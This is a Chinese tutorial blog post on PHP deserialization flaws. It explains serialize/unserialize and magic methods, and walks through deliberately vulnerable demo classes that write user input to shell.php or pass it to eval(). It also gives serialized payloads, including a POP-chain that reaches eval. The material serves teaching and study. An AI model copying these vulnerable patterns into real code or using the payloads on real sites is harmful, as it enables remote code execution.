1. 程式人生 > 實用技巧 >php反序列化淺談

php反序列化淺談

0x01 serialize()和unserialize()

先介紹下幾個函式

serialize()是用於將類轉換為一個字串
unserialize()用於將字串轉換回一個類

serialize()

<?php
class test{
    var $a = 'yicunyiye';
}

$p = new test();
$ser = serialize($p);

echo $ser;
?>

輸出為

O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}

這裡O是說明為物件為4個字元,1是表示只有一個值{}裡面的s表示為字串為1就是變數a的長度,然後就是9表示值的長度

unserialize()

<?php
class test{
    var $a = 'yicunyiye';
}

$p = new test();
// $ser = serialize($p);

$a = 'O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}';
$unser = unserialize($a);
print_r($unser);

?>

輸出為

test Object ( [a] => yicunyiye )

這裡的test為物件[a] => yicunyiye 為 $a = "yicunyiye"

0x02 漏洞產生

當我們傳入給unserialize()引數可控的時候就可以利用
Magic function
php中有一類特殊的方法叫做“Magic function”

建構函式__construct():當物件建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的
解構函式__destruct():當物件被銷燬時會自動呼叫。
__wakeup():如前所提,unserialize()時會自動呼叫

<?php
header("Content-type: text/html;charset=utf-8");
class test{
    var $test='123';
    function __wakeup(){
        echo "__wakeup"."<br>";
    }
    function __construct(){
        echo "__construct"."<br>";
    }
    function __destruct(){
        echo "__destruct"."<br>";
    }
}
echo "serialize:====="."<br>";
$data=new test;
$data=serialize($data);

echo "unserialize:====="."<br>";
$jm=unserialize($data);
print_r($jm);
?>

輸出結果為

serialize:=====
__construct
__destruct
unserialize:=====
__wakeup
test Object ( [test] => 123 ) __destruct

wakeup() 或destruct()由前可以看到,unserialize()後會導致wakeup() 或destruct()的直接呼叫,中間無需其他過程。因此最理想的情況就是一些漏洞/危害程式碼在wakeup() 或destruct()中,從而當我們控制序列化字串時可以去直接觸發它們

因此我們寫一個

<?php
class aaaa{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 為顯示效果,把這個shell.php包含進來
?>

url為:http://127.0.0.1/m/index.php?test=O:4:"aaaa":1:{s:4:"test";s:19:"<?php phpinfo(); >";}

這裡可以看到只要傳入給test就行了

其他Magic function的利用,如果用construct()其實是一樣的只需要一步步溯源回去即可

<?php
class con{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class wake{
    var $test = '123';
    function __wakeup(){
        $obj = new con($this->test);
    }
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

payload:O:4:"wake":1:{s:4:"test";s:18:"";}

利用普通成員方法
前面談到的利用都是基於“自動呼叫”的magic function。但當漏洞/危險程式碼存在類的普通方法中,就不能指望通過“自動呼叫”來達到目的了。這時的利用方法如下,尋找相同的函式名,把敏感函式和類聯絡在一起。
比如這裡

<?php
class chybeta {
    var $test;
    function __construct() {
        $this->test= new ph0en1x(); //例項化ph0en1x
    }
    function __destruct() {
        $this->test->action(); //呼叫ph0en1x類裡的action()函式
    }
}
class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
}
class ph0en2x {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

我們的payload修改為

<?php
class chybeta{
    var $test;
    function __construct(){
        $this->test = new ph0en2x();
    }
}

class ph0en2x{
    var $test2 = "phpinfo();";
}

$class6 = new chybeta();
$payload = serialize($class6);
echo $payload;
?>

執行payload為:
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}